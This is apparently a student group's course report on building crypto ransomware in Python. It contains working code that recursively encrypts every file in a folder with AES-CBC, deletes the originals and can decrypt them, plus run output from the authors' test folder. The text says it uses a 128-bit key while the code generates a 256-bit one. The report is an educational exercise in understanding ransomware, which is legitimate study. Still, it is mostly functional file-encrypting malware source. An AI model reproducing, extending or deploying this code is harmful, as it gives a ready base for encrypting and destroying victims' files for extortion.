Group#8

- **Rashmika Adusumilli - 11770425**
- **SAI TEJA UPPU - 11691244**
- **Mounika Chavagani - 11737704**
- **Esther Eze - 11886695**

Ransomware Type Selected: Crypto Ransomware (AES)

File to create: File-encrypting ransomware using AES encryption

AES 128 bit key

We are choosing to use Python as the language to implement Crypto Ransomware. As the first step, we have developed a code which can recursively loop over given folder, find a file and encrypt it and decrypt it as well.

Code:

```
import sys
sys.path.append("c:/msys64/mingw64/lib/python3.11/site-packages")
import os
import pyaes

# Generate a fixed 256-bit (32-byte) AES key (or use os.urandom(32) for random)
KEY = os.urandom(32)  # AES-256 key (must be 32 bytes)
IV = os.urandom(16)   # Initialization vector (must be 16 bytes)

def pad(data):
    """Pads data to a multiple of 16 bytes (PKCS7 padding)."""
    pad_length = 16 - (len(data) % 16)
    return data + bytes([pad_length]) * pad_length

def unpad(data):
    """Removes padding from decrypted data."""
    pad_length = data[-1]
    return data[:-pad_length]

def encrypt_file(file_path):
    """Encrypts a single file using AES-256-CBC."""
    with open(file_path, 'rb') as f:
        plaintext = f.read()

    padded_plaintext = pad(plaintext)
    aes = pyaes.AESModeOfOperationCBC(KEY, iv=IV)
```

```
    ciphertext = aes.encrypt(padded_plaintext)

    enc_file_path = file_path + ".enc"
    with open(enc_file_path, 'wb') as f:
        f.write(ciphertext)

    os.remove(file_path)  # Remove original file after encryption
    print(f"Encrypted: {file_path} → {enc_file_path}")

def decrypt_file(enc_file_path):
    """Decrypts a single .enc file using AES-256-CBC."""
    with open(enc_file_path, 'rb') as f:
        ciphertext = f.read()

    aes = pyaes.AESModeOfOperationCBC(KEY, iv=IV)
    decrypted_data = aes.decrypt(ciphertext)
    unpadded_data = unpad(decrypted_data)

    original_file_path = enc_file_path.replace(".enc", "")
    with open(original_file_path, 'wb') as f:
        f.write(unpadded_data)

    os.remove(enc_file_path)  # Remove encrypted file after decryption
    print(f"Decrypted: {enc_file_path} → {original_file_path}")

def process_folder(folder_path, encrypt=True):
    """Recursively encrypts or decrypts files in a folder."""
    for root, _, files in os.walk(folder_path):
        for file in files:
            file_path = os.path.join(root, file)

            if encrypt and not file.endswith(".enc"):
                encrypt_file(file_path)
            elif not encrypt and file.endswith(".enc"):
                decrypt_file(file_path)

# Example Usage
folder_to_encrypt = r"C:\Users\rashm\Desktop\Confidential" # This is our folder with
subfolders.

# Encrypt all files in the folder
process_folder(folder_to_encrypt, encrypt=True)

# Decrypt all .enc files in the folder
```

process_folder(folder_to_encrypt, encrypt=False)

This is the base code we have worked on towards the final project.

Output:

When the code is executed, the text files are encrypted and .enc extension is added to them and while decrypting all the files with .enc are identified and are decrypted.

```
Interrupt | Clear All  Restart  Jupyter Variables  Save  Export  ...  Python 3.13.0
Encrypted: C:\Users\rashm\Desktop\Confidential\Lab 2\Lab2.txt → C:\Users\rashm\Desktop\C
Encrypted: C:\Users\rashm\Desktop\Confidential\Lab 3\Lab 3.txt → C:\Users\rashm\Desktop\

✓ import sys ...

... Decrypted: C:\Users\rashm\Desktop\Confidential\Lab 1\Lab1.txt.enc → C:\Users\rashm\Deskt
Decrypted: C:\Users\rashm\Desktop\Confidential\Lab 2\Lab2.txt.enc → C:\Users\rashm\Deskt
Decrypted: C:\Users\rashm\Desktop\Confidential\Lab 3\Lab 3.txt.enc → C:\Users\rashm\Desk

✓ import sys ...

... Encrypted: C:\Users\rashm\Desktop\Confidential\Lab 1\Lab1.txt → C:\Users\rashm\Desktop\C
Encrypted: C:\Users\rashm\Desktop\Confidential\Lab 2\Lab2.txt → C:\Users\rashm\Desktop\C
Encrypted: C:\Users\rashm\Desktop\Confidential\Lab 3\Lab 3.txt → C:\Users\rashm\Desktop\

✓ import sys ...

... Decrypted: C:\Users\rashm\Desktop\Confidential\Lab 1\Lab1.txt.enc → C:\Users\rashm\Deskt
Decrypted: C:\Users\rashm\Desktop\Confidential\Lab 2\Lab2.txt.enc → C:\Users\rashm\Deskt
Decrypted: C:\Users\rashm\Desktop\Confidential\Lab 3\Lab 3.txt.enc → C:\Users\rashm\Desk
```